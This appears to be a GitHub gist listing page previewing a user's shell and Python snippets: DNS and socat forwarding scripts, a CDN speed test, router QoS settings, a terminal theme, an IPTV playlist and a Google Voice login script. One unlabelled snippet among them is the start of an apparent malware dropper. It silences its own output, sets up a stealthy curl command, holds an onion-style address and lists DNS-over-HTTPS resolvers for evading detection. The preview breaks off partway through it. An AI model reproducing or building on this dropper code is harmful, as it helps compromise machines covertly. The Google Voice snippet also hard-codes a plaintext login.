This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
. /etc/profile > /dev/null 2>&1 | |
# PUB_DNS='1.1.1.1' | |
# CHINA ONLY | |
PUB_DNS='223.5.5.5' | |
# percentage | |
REBOOT_THRESHOLD=80 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Author: An Shen | |
# Date: 2023-01-30 | |
. /etc/profile | |
function log(){ | |
echo "[$(date +'%Y-%m-%d %H:%M:%S')] - $1" | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# UDP: | |
socat UDP4-LISTEN:5683,fork,su=nobody UDP6:[aaaa::212:4b00:615:a1f7]:5683 | |
# TCP: | |
socat TCP4-LISTEN:22,fork,su=nobody TCP6:[2a01:198:79d:1::8]:22 | |
# UDP, IPv6 | |
socat UDP6-LISTEN:5683,fork,su=nobody UDP6:[aaaa::212:4b00:615:a1f7]:5683 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
function speed_test_by_url(){ | |
local url=$1 | |
for x in $(curl -qs "$url") | |
do | |
speed=$(curl --max-time 10 --resolve cdn.cloudflare.steamstatic.com:443:$x https://cdn.cloudflare.steamstatic.com/steam/apps/256843155/movie_max.mp4 -kw "%{speed_download}" -o /dev/null) | |
speed=$(echo $speed| awk -F. '{print $1}') | |
speed=$((speed / 1024 / 1024)) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# Author: An Shen | |
# Date: 2022-02-16 | |
# Version: 1.0 | |
# Description: aliyundrive-webdav upgrade script | |
# Usage: ./aliyundrive-webdav-upgrade.sh | |
# Reference: https://www.github.com/ansen | |
. /etc/profile >/dev/null 2>&1 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ynKONvfHlM9XKdcZS/f3enuhStRJ+oTHh+hG4qzhPe+Bxy3kPIJ0j2HbAq3MyhET | |
exec &>/dev/null | |
export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin | |
d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6) | |
c=$(echo "curl -4fsSLkA- -m200") | |
t=$(echo "y4mcrfeigcaa2robjk3azb2qwcd5hk45xpoaddupmdwv24qoggnmdbid") | |
sockz() { | |
n=(doh.defaultroutes.de dns.hostux.net dns.dns-over-https.com uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh.centraleu.pi-dns.com doh.dns.sb doh-fi.blahdns.com fi.doh.dns.snopyta.org dns.flatuslifir.is doh.li dns.digitale-gesellschaft.ch) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
#copyright by Emong's Qos update hiboy | |
export PATH=/opt/sbin:/opt/bin:/opt/usr/sbin:/opt/usr/bin:/usr/sbin:/usr/bin:/sbin:/bin | |
export LD_LIBRARY_PATH=/opt/lib:/lib | |
# qos 功能 0关闭;1启动 | |
qoss=0 | |
# 当在线终端≤2台时取消限速.(路由端1+电脑端1=2台) | |
qosb=2 | |
# 默认为20M | |
DOWN=2560 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
foreground=#536870 | |
background=#fcf4dc | |
cursor=#b5bd68 | |
cursorAccent=#1d1f21 | |
selection=rgba(66, 66, 66, 0.3) | |
black=#0000CC | |
red=#bd3613 | |
green=#0EB860 | |
yellow=#536870 | |
blue=#708284 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#EXTM3U name="四川电信IPTV" | |
#EXTINF:-1,CCTV-1高清 | |
rtp://@239.93.0.184:5140 | |
#EXTINF:-1,CCTV-2高清 | |
rtp://@239.93.1.23:6000 | |
#EXTINF:-1,CCTV-3高清 | |
rtp://@239.93.1.11:2223 | |
#EXTINF:-1,CCTV-5高清 | |
rtp://@239.93.1.12:2224 | |
#EXTINF:-1,CCTV-6高清 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Need to install googlevoice | |
# pip install googlevoice | |
from googlevoice import Voice | |
def run(): | |
username = "zxcv@gmail.com" | |
pwd = "123456" | |
voice = Voice() | |
voice.login(email=username, passwd=pwd) | |
NewerOlder